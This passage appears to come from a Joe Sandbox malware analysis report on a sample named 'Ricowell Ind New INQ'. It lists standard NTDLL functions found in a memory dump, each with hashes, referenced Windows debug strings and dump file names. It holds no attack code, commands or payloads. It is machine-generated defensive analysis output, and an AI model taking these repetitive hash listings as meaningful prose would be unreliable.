Opcode Fuzzy Hash: 0db831d3a992e27303a83775c1ba3a8378320a98f3b7cf0fb83a15845ea58506
Instruction Fuzzy Hash: C990027120144412D5006158491470B000547E0302F51C856A1154556EC63588597571

Function 378C2D10 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 378C2D1A

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f459deec0f23732bcc1496e4f678fe27a82b3e2d17fa41128f1fed3f7e860174
Instruction ID: 84868e748453c75c011dcb4768b05a73509eb14407da8065511a936415d77d28
Opcode Fuzzy Hash: f459deec0f23732bcc1496e4f678fe27a82b3e2d17fa41128f1fed3f7e860174
Instruction Fuzzy Hash: 1F90027120104423D51161584604707000947E0241F91CC57A0414559ED666895AB121

Function 378C2B90 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 378C2B9A

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e8a7ea4de0a1ff5b749379775f4057e820ca75ed1e0becfdc0a4a05712161fb7
Instruction ID: a8cc6635c92166a67a356636ce29090f540b597c8bb8d4e699a23101ec4ccd36
Opcode Fuzzy Hash: e8a7ea4de0a1ff5b749379775f4057e820ca75ed1e0becfdc0a4a05712161fb7
Instruction Fuzzy Hash: 1E9002712010C812D5106158850474A000547E0301F55CC56A4414659EC6A588997121

Function 378C2BC0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 378C2BCA

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b182e59a74797c32a82867616c14d26d81d901ff7b228ab6b0c3229494116cbd
Instruction ID: 3ea118a8e463c7302c22fa5eda5c0368d9c4d48d6aac94899f2bbeedfc44138a
Opcode Fuzzy Hash: b182e59a74797c32a82867616c14d26d81d901ff7b228ab6b0c3229494116cbd
Instruction Fuzzy Hash: 5790027120104412D50065985508646000547F0301F51D856A5014556FC67588997131

Function 378C2A80 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 378C2A8A

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 61802346cd4b01633ed1420a7a49eeac9e6389ab328bb99285bd76b28c2ec5ee
Instruction ID: e23e72514649cb19c4f37d7bafba0a39ed829c5fed4a190f6f40a2ee4bc0676e
Opcode Fuzzy Hash: 61802346cd4b01633ed1420a7a49eeac9e6389ab328bb99285bd76b28c2ec5ee
Instruction Fuzzy Hash: 389002A120204013450571584514616400A47F0201B51C866E1004591EC53588997125

Non-executed Functions

Function 378B8540 Relevance: 17.7, Strings: 14, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Invalid debug info address of this critical section, xrefs: 378F52C1
Critical section address, xrefs: 378F5230, 378F52C7, 378F533F
First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 378F52ED
Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 378F5215, 378F52A1, 378F5324
Critical section debug info address, xrefs: 378F522A, 378F5339
8, xrefs: 378F50EE
undeleted critical section in freed memory, xrefs: 378F5236
double initialized or corrupted critical section, xrefs: 378F5313
Address of the debug info found in the active list., xrefs: 378F52B9, 378F5305
Critical section address., xrefs: 378F530D
Thread is in a state in which it cannot own a critical section, xrefs: 378F534E
Thread identifier, xrefs: 378F5345
corrupted critical section, xrefs: 378F52CD
Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 378F52D9

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
API String ID: 0-2368682639
Opcode ID: fbb1159a3fcd1dd00e13ce00dad227c45dba33236197a3bd66e993cc3fa649cf
Instruction ID: 3991e6e9e7906e7ac4b4f3c407a30c23aed5032a49bbf6212f61c2f37173ae97
Opcode Fuzzy Hash: fbb1159a3fcd1dd00e13ce00dad227c45dba33236197a3bd66e993cc3fa649cf
Instruction Fuzzy Hash: 9281BAB1901348EFEB20CF98D984BAEBBB8BB59324F204559F908B7240D735A841CF51

Function 3792FDF4 Relevance: 16.1, APIs: 1, Strings: 8, Instructions: 348
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 3792FE28

Strings

About to reallocate block at %p to %Ix bytes, xrefs: 3792FF3A
HEAP[%wZ]: , xrefs: 3792FF19, 37930028, 37930150, 379301F5, 3793024C
Just reallocated block at %p to %Ix bytes, xrefs: 37930171
HEAP: , xrefs: 3792FF26, 37930035, 3793015D, 37930202, 37930259
Just reallocated block at %p to 0x%Ix bytes with tag %ws, xrefs: 3793021F
RtlReAllocateHeap, xrefs: 3792FE3F, 3792FEE2
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 3793026A
About to rellocate block at %p to 0x%Ix bytes with tag %ws, xrefs: 37930053

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
API String ID: 3446177414-1700792311
Opcode ID: 2b2a0459163a87125714246fc3688e8ac8e0487d544f031b68e366ef0fbb6a97
Instruction ID: 6f685415ea5dd2f27e882c9d1e2b0e84f084df515859bdf760e79bfcbbd46f48
Opcode Fuzzy Hash: 2b2a0459163a87125714246fc3688e8ac8e0487d544f031b68e366ef0fbb6a97
Instruction Fuzzy Hash: 7FD10135505688DFEB02CFACC440AADBBF6FF1A728F058249E495AB712D739A941CF11

Function 379286C2 Relevance: 12.6, Strings: 10, Instructions: 146COMMON

Download Yara Rule

Strings

http://schemas.microsoft.com/SMI/2020/WindowsSettings, xrefs: 37928750
SegmentHeap, xrefs: 37928769
lsass.exe, xrefs: 37928721
DefaultBrowser_NOPUBLISHERID, xrefs: 37928880
heapType, xrefs: 3792874B
csrss.exe, xrefs: 37928700
smss.exe, xrefs: 3792870B
runtimebroker.exe, xrefs: 379286F3
services.exe, xrefs: 37928716
svchost.exe, xrefs: 379286E8

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
API String ID: 0-2515994595
Opcode ID: 637ad0a0c2d5889bd974dacad3a8815805a472d12bf716e83969b03097997817
Instruction ID: 06d84fadb0a3e56f0059b3d3da145e3f9997a1d79a5985297a22aed8aa409c92
Opcode Fuzzy Hash: 637ad0a0c2d5889bd974dacad3a8815805a472d12bf716e83969b03097997817
Instruction Fuzzy Hash: 5851B3B55043199FD321EF188840FABB7ECEB94364F404A5DFA6983245EB34D548EB92

Function 3787640D Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 150timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3787651C

Part of subcall function 37876565: RtlDebugPrintTimes.NTDLL ref: 37876614
Part of subcall function 37876565: RtlDebugPrintTimes.NTDLL ref: 3787665F

Strings

LdrpInitShimEngine, xrefs: 378D9783, 378D9796, 378D97BF
Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 378D977C
Loading the shim engine DLL failed with status 0x%08lx, xrefs: 378D97B9
apphelp.dll, xrefs: 37876446
minkernel\ntdll\ldrinit.c, xrefs: 378D97A0, 378D97C9
Getting the shim engine exports failed with status 0x%08lx, xrefs: 378D9790

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-204845295
Opcode ID: c00954dca88a5aa1c34025949191c4dfb856875ac5209e03a7aa286a9048c230
Instruction ID: dd8285b0e531ef07b80cb9efeee7a91be9139a0d9ecc2034c5ada55e1c105a5c
Opcode Fuzzy Hash: c00954dca88a5aa1c34025949191c4dfb856875ac5209e03a7aa286a9048c230
Instruction Fuzzy Hash: 5D51C171648384AFE310CF24D881FAB77E8EFA5658F400959F5959B260EA38D905CF93

Function 3787D2EC Relevance: 11.6, Strings: 9, Instructions: 312COMMON

Download Yara Rule

Strings

@, xrefs: 3787D603
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 3787D356
MachinePreferredUILanguages, xrefs: 3787D625
PreferredUILanguages, xrefs: 3787D458, 3787D465
Control Panel\Desktop\MuiCached, xrefs: 3787D5CB
Control Panel\Desktop, xrefs: 3787D3FD
@, xrefs: 3787D43D
PreferredUILanguagesPending, xrefs: 378DA66D
@, xrefs: 3787D389

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 0-3532704233
Opcode ID: 521d1728453fb7bfc71318900a2e64c129cffd1e1fdfa5e2fdc4c2c1a02e8b62
Instruction ID: 957a3e168aaac8c1478c204f7caa36d7ae54dfc17ba202a4fd8364f9b5316bd8
Opcode Fuzzy Hash: 521d1728453fb7bfc71318900a2e64c129cffd1e1fdfa5e2fdc4c2c1a02e8b62
Instruction Fuzzy Hash: 1DB19FB25083859FD711CF58D480B5BB7E8AFA4768F41492EF899E7240DB34D948CBA3

Function 378AD6D0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 151timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 378AD879

Part of subcall function 37884779: RtlDebugPrintTimes.NTDLL ref: 37884817

Strings

LdrShutdownProcess, xrefs: 378EF0D8
Process 0x%p (%wZ) exiting, xrefs: 378EF0D1
$, xrefs: 378AD820
$, xrefs: 378AD78D
minkernel\ntdll\ldrinit.c, xrefs: 378EF0E2

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1975516107
Opcode ID: 50dfa457d3f7d341a3b5835c34222b5a9e28661d3ccb008f5362d99664931236
Instruction ID: 018e367f9c320511970b9acd21ccfd3326dad119e8a72711bd3fc5000718ac5b
Opcode Fuzzy Hash: 50dfa457d3f7d341a3b5835c34222b5a9e28661d3ccb008f5362d99664931236
Instruction Fuzzy Hash: 1D51F375A04389DFEB84CFA8C48579DBBB1BF6532CF104159D410BB285DB78A942CFA1

Function 3792F51B Relevance: 10.2, Strings: 8, Instructions: 189COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 3792F552, 3792F597, 3792F5E3, 3792F648, 3792F696, 3792F6DD
Invalid ReserveSize parameter - %Ix, xrefs: 3792F56B
Specified HeapBase (%p) != to BaseAddress (%p), xrefs: 3792F6B2
HEAP: , xrefs: 3792F55F, 3792F5A4, 3792F5F0, 3792F655, 3792F6A3, 3792F6EA
May not specify Lock parameter with HEAP_NO_SERIALIZE, xrefs: 3792F5FB
Specified HeapBase (%p) invalid, Status = %lx, xrefs: 3792F664
Invalid CommitSize parameter - %Ix, xrefs: 3792F5B2
Specified HeapBase (%p) is free or not writable, xrefs: 3792F6F8

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid CommitSize parameter - %Ix$Invalid ReserveSize parameter - %Ix$May not specify Lock parameter with HEAP_NO_SERIALIZE$Specified HeapBase (%p) != to BaseAddress (%p)$Specified HeapBase (%p) invalid, Status = %lx$Specified HeapBase (%p) is free or not writable
API String ID: 0-2224505338
Opcode ID: 0ff1d2ef45b79bb47ff279dbc11f56a892dda8cd01d6838d7c70d252047b291a
Instruction ID: 4112565d324d9ce88fe0af62448e503f30a4d24488b34f669d5dcac808e1af61
Opcode Fuzzy Hash: 0ff1d2ef45b79bb47ff279dbc11f56a892dda8cd01d6838d7c70d252047b291a
Instruction Fuzzy Hash: E251563610268CEFD711EF5CC844F2A77AAEF15678F104599F4229B325CA35E900DF12

Function 37908633 Relevance: 9.0, Strings: 7, Instructions: 259COMMON

Download Yara Rule

Strings

AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 379086E7
VerifierDebug, xrefs: 37908925
AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 379086BD
HandleTraces, xrefs: 3790890F
VerifierDlls, xrefs: 3790893D
VerifierFlags, xrefs: 379088D0
AVRF: -*- final list of providers -*- , xrefs: 3790880F

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
API String ID: 0-3223716464
Opcode ID: bc3fa1ddc0381dedd8e811bf743dbfedba54579b19c3bd2cb3be4a68866f8366
Instruction ID: 05bc3324bc8256a724c1c2513a3145c21fcbc7dbde0feafdace50098959630d3
Opcode Fuzzy Hash: bc3fa1ddc0381dedd8e811bf743dbfedba54579b19c3bd2cb3be4a68866f8366
Instruction Fuzzy Hash: 42911172A54351ABE311DF288880F1A77A9EF4072CF450B98F964AB341C738AC05DF93

Function 378A237A Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 378EA79F
LdrpDynamicShimModule, xrefs: 378EA7A5
apphelp.dll, xrefs: 378A2382
minkernel\ntdll\ldrinit.c, xrefs: 378EA7AF

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-176724104
Opcode ID: f3925b05cc6fbb87aa5a0ec7d04678db8dcd9be9ec617c986d87b73b903f6c2e
Instruction ID: f27678f7fc7cfe19b607e93661a0fa7535e48baba8629308ec1d003bba193eba
Opcode Fuzzy Hash: f3925b05cc6fbb87aa5a0ec7d04678db8dcd9be9ec617c986d87b73b903f6c2e
Instruction Fuzzy Hash: BF312675A44280EFF7109F18DCC1BEA77B8FBEAB58F100169E91077650DB786842CB42

Function 378B631F Relevance: 7.8, Strings: 6, Instructions: 261COMMON

Download Yara Rule

Strings

NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop, xrefs: 378F4009
LDR:MRDATA: Process initialization failed with status 0x%08lx, xrefs: 378F3EE3
Process initialization failed with status 0x%08lx, xrefs: 378F3F45
_LdrpInitialize, xrefs: 378F3EEA, 378F3F4C, 378F4010, 378F406A
minkernel\ntdll\ldrinit.c, xrefs: 378F3EF4, 378F3F56, 378F401A, 378F4074
Delaying execution failed with status 0x%08lx, xrefs: 378F4063

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
API String ID: 0-792281065
Opcode ID: 0a9b4be31ea8cafa3b3676da6cdde8d5be55b23a561cdcdbbdfe20df8b5ccec9
Instruction ID: 2be9c4e9ef1b8a4f93baaa32fd2993dd372b38bc88ab4e1688bfc6d6ccd9ddbb
Opcode Fuzzy Hash: 0a9b4be31ea8cafa3b3676da6cdde8d5be55b23a561cdcdbbdfe20df8b5ccec9
Instruction Fuzzy Hash: 96913770A09395EBFF24CF14E845BAA77A0EF69768F000269E5146B380DB7D9805CB92

Function 378B2594 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

SXS: %s() passed the empty activation context, xrefs: 378F1F6F
RtlGetAssemblyStorageRoot, xrefs: 378F1F6A, 378F1FA4, 378F1FC4
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 378F1FA9
SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 378F1F8A
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 378F1FC9
SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 378F1F82

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
API String ID: 0-861424205
Opcode ID: df217ba05e87b41e58bf8cfb2387bc9b246b13e5b8279d7c5eb43b039723d5b4
Instruction ID: cb2c22351967bda463779d47031bf2659e5ddc48befb0f451c9e71894c98e262
Opcode Fuzzy Hash: df217ba05e87b41e58bf8cfb2387bc9b246b13e5b8279d7c5eb43b039723d5b4
Instruction Fuzzy Hash: 1A31E576E102197FEB208E969C45F5B7668DF76AA4F004199BB10A7341D730BE00CBE6

Function 378BC5C6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrredirect.c, xrefs: 378F7F8C, 378F8000
LdrpInitializeProcess, xrefs: 378BC5E4
Loading import redirection DLL: '%wZ', xrefs: 378F7F7B
minkernel\ntdll\ldrinit.c, xrefs: 378BC5E3
LdrpInitializeImportRedirection, xrefs: 378F7F82, 378F7FF6
Unable to build import redirection Table, Status = 0x%x, xrefs: 378F7FF0

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
API String ID: 0-475462383
Opcode ID: 8e6cba754cdca78bc9de2485b477005a90fa4558a0955becd2a917afef6560e8
Instruction ID: 9611e112ff6b89508c74211a27c71b6ebe5be57e430e5e7287f60fd795fa5195
Opcode Fuzzy Hash: 8e6cba754cdca78bc9de2485b477005a90fa4558a0955becd2a917afef6560e8
Instruction Fuzzy Hash: 5F31F6716043429FD314DF28E885E2AB7D4EFE9724F400658F894AB391D628EC05CFA3

Function 37890680 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 414COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 378E4EBB
HEAP: , xrefs: 378E4ECA
(UCRBlock->Size >= *Size), xrefs: 378E4ED7

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: 6b7f3bda6584e6aac82538f01e38dec8b5a1099c6cd8a85fe9ea8279c79e10dd
Instruction ID: 9178b72aa78664c5fa3c3980fb1b17cb9098dd93f6d0ad9646c14b6c6fa23d03
Opcode Fuzzy Hash: 6b7f3bda6584e6aac82538f01e38dec8b5a1099c6cd8a85fe9ea8279c79e10dd
Instruction Fuzzy Hash: 38F19D74B0060AEFEB05CF68C880BAAB7B5FF56754F1041A8E419DB781DB34E981CB91

Function 378A9723 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 179timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 378A9922

Strings

Unmapping DLL "%wZ", xrefs: 378EDAEE
LdrpUnloadNode, xrefs: 378EDAF5
minkernel\ntdll\ldrsnap.c, xrefs: 378EDAFF

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
API String ID: 3446177414-2283098728
Opcode ID: 81788fce40234b521c295dbd42591de50b5359909ec45170e5e1c99e327c9f3a
Instruction ID: 07ce5ec4752e85bb9fa365f1ec57b1cbccde6640fb818fd296fe69aefb219604
Opcode Fuzzy Hash: 81788fce40234b521c295dbd42591de50b5359909ec45170e5e1c99e327c9f3a
Instruction Fuzzy Hash: D2512774608741AFE750DF38C884B2977A4BFA9728F14076CE5619B691EB34E806CF93

Function 378BC640 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 141timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 378BC6DF

Strings

Failed to reallocate the system dirs string !, xrefs: 378F80E2
minkernel\ntdll\ldrinit.c, xrefs: 378F80F3
LdrpInitializePerUserWindowsDirectory, xrefs: 378F80E9

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
